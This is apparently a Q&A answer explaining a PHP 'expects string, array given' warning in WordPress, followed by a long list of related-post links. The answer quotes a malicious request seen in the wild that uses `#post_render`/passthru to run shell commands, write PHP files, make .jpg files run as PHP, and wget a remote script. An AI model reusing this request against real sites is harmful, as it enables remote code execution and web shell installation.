I ran into this today. It’s a bug. I filed a bug report here:
https://core.trac.wordpress.org/ticket/46797
The problem is this line of code:
$qv['name'] = trim( $qv['name'] );
A (malicious) user sends a request that looks like:
GET /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo ‘Vuln!! patch it Now!’ > vuln.htm; echo ‘Vuln!!’> sites/default/files/vuln.php; echo ‘Vuln!!’> vuln.php; cd sites/default/files/; echo ‘AddType application/x-httpd-php .jpg’ > .htaccess; wget ‘http://40k.waszmann.de/Deutsch/images/up.php‘
Such a request makes $qv[‘name’] an array, not a string.
Needs to be sanitized.
Related Posts:
- ajax category filter
- Pagination custom query
- Order by two meta keys
- Warning: urlencode() expects parameter 1 to be string, array given
- Finding all results from database within 500 miles of the given latitude and longitude [closed]
- Function to check if author has posted within the last x days
- Shortcode returns escaped HTML tags
- Calling a custom excerpt function in a local loop
- How to get any tag ID
- Dynamically Override Fancy Title – Part II
- query posts in functions.php and update a field
- Get posts using WP_Query
- Finding post content that begins with a specific character
- Best practice custom function, where to echo the variables?
- How to get user_id from wordpress database inside ajax function?
- Undefined property: WP_Query::$post
- posts_per_page not working
- Exclude admin from WP_Query Contributors
- Multiple Loops Inside a Function
- How to delete taxonomy term when a wordpress user is removed?
- Exclude category for main query and custom
- Display posts from only one post form in custom query and exclude in main query
- Category applied to pages, creates multiple breadcrumb entries after a search query (On the translated site)
- How to filter, restrict and return posts based on custom user meta information
- WP Query using tax_query & meta_query
- wordpress search word, “hello world” ===> ‘hello+world’ ===> ‘hello’, ‘world’
- Display most popular in the past two days
- meta_query not working as expected
- New WP_Query calls Pre_get_posts filter twice
- how to access query string in wordpress?
- Merge two search functions for custom post type
- Make a SQL query with wpdb in WordPress
- how to use pre_gets_posts to exclude one queried ID from homepage loop
- Error with function in functions.php?
- Exclude authors IDs from WP_Query
- Loading two different AJAX requests on two different pages
- Getting the post terms ‘wp_get_post_terms’ per post when within the functions.php file
- How to load a script code only in posts?
- Multiple meta_key ordering with pre_get_posts
- How do I fit WP_Query arguments into a function?
- Create a notification for post field
- Add URL Rewrite Rule To WordPress
- Trying to get property of non-object in: $wp_query
- WordPress dynamic AJAX query
- relation OR instead of AND – Filtered term ID’s in loop
- Error: Attempt to read property “ID” on null
- Pagination repeating posts on search results
- How to check if logged in user have pending custom post?
- Custom WordPress post query for displaying time-released content on website
- SEARCH QUERY PLEASE HELP | call_user_func_array() expects parameter 1 to be a valid callback php
- Custom query for custom post type not getting correct post ID
- Finding post ID dynamically on click
- how to move a page from one drop down menu to another drop down menu
- How to upload 3 attachments to current post?
- Global page ID variable empty error
- WP_Query & shortcode : Return 3 articles from a category WordPress
- Get post Number with local loop and template
- Save query in function for custom gallery
- Seach and categories not working when ignoring sticky posts in main loop
- Problem with custom WP_Query and underlying pagination/posts_per_page
- Calling a function with WP_Query only ever brings the first result
- What argument does my function need to echo get_results() query results
- Fetching $_POST from Page Template into functions.php
- Declare inline background image in functions.php
- I wan to process the following js to process the AJAX Request on my function to calculate author Total Post views
- Hiding all posts/products/pages from a site based on a custom taxonomy/domain name
- ordering and optimizing functions
- Why WP_Query in functions.php is not working when get_posts works?
- Adding css tweak based on page template
- WP_Query and DES sort for Custom Taxonomy based upon a meta field?
- How to write a query-function as a query-shortcode?
- 1500+ duplicate queries via get_option function (query monitor)
- Variations as Single Products [closed]
- Excluding a category from frontpage but not from WP_Query
- How to make WP_Query ‘post__in’ accept an array?
- get data from wp-query, outside the loop & without url change
- Querying by taxonomy vs Querying by Custom fields Speed Comparison
- Splitting the main query in multiple loops with query_posts and/or pre_get_posts?
- WP_Query mixe post and page attributes
- How do you Query posts with nothing in common?
- When to add_filter() to Custom Query
- if/else on custom query gives 200 OK when condition not met?
- Creating arguments from loop for WP_Query meta_query
- Can I set my WP_Query to be a Main Query?
- How to use external API content in place of WP posts using $wp_query?
- wp_query args adding muitiple tax_querys
- WP_Query posts with comments only
- Default permalink structure causing Notice: Undefined property: WP_Query::$post
- Get posts that do not have the same tags as current
- Expecting statement error from php loop using ACF plugin
- Get specific ACF key and value from all posts – no access to DB
- I am officially missing something about transient posts
- Register Taxonomy – What is `query_var`?
- Block internal search queries with pre_get_posts and regex rules
- Is it possible to give a classname to specific comments in the WordPress admin?
- How to make a wordpress loop file that displays posts based on certain conditions
- Custom loop – Isolating post meta output depending on current query taxonomy terms
- How do I display posts with specific value in a custom field into my loop?
- Order by multiple meta keys on wordpress
- Sort posts in dashboard using custom field; also include posts where field isn’t set